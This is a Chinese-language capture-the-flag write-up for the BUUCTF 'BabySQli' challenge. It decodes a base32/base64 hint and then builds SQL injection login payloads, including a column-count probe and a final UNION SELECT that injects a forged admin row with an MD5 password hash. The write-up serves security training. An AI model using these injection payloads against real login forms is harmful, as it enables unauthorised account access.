1. 程式人生 > 實用技巧 >buuctf-BabySQli 1

buuctf-BabySQli 1

啟動靶機,開啟環境

又是一道sql注入的題

我又檢視原始碼,發現了一下search.php.然後又慣性思維就把他顯示出來,但是出來個這東西

感覺沒那麼簡單,再看一手原始碼,發現一串加密密文

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

這段應該是base32編碼,解一下成了base64編碼,然後再解一下就可以了

select * from user where username = '$name'

原始碼提示我們猜使用者名稱,我們嘗試使用

admin和非admin登入,

當利用admin當作使用者名稱的時候

當用非admin的作為使用者名稱的時候,

這就確定了,admin是可行的。確認使用者列表有admin.

然後我們還是像之前一樣,確定一下列數:

name=1' union select 1,2,3,4 %23 &pw=123

這樣的話就報錯了,然後再把4刪掉,成功顯示,這便確定了是3列

name=1' union select 1,2,3 %23 &pw=123

然後我們需要爆一下密碼,

name=1' union select 1,'admin',3 %23 &pw=123

確是這個亞子,查了一下wp,才瞭解到如果查詢的資料不存在的時候,union查詢就會構造一個虛擬的資料。sql的password會md5加密,然後我們將我們自己輸的密碼編碼成md5然後放入第三列當中,123加密成md5是

202cb962ac59075b964b07152d234b70

構造最終的pyload為

name=1' union select 1,'admin','202cb962ac59075b964b07152d234b70' %23 &pw=123

這樣就爆出來了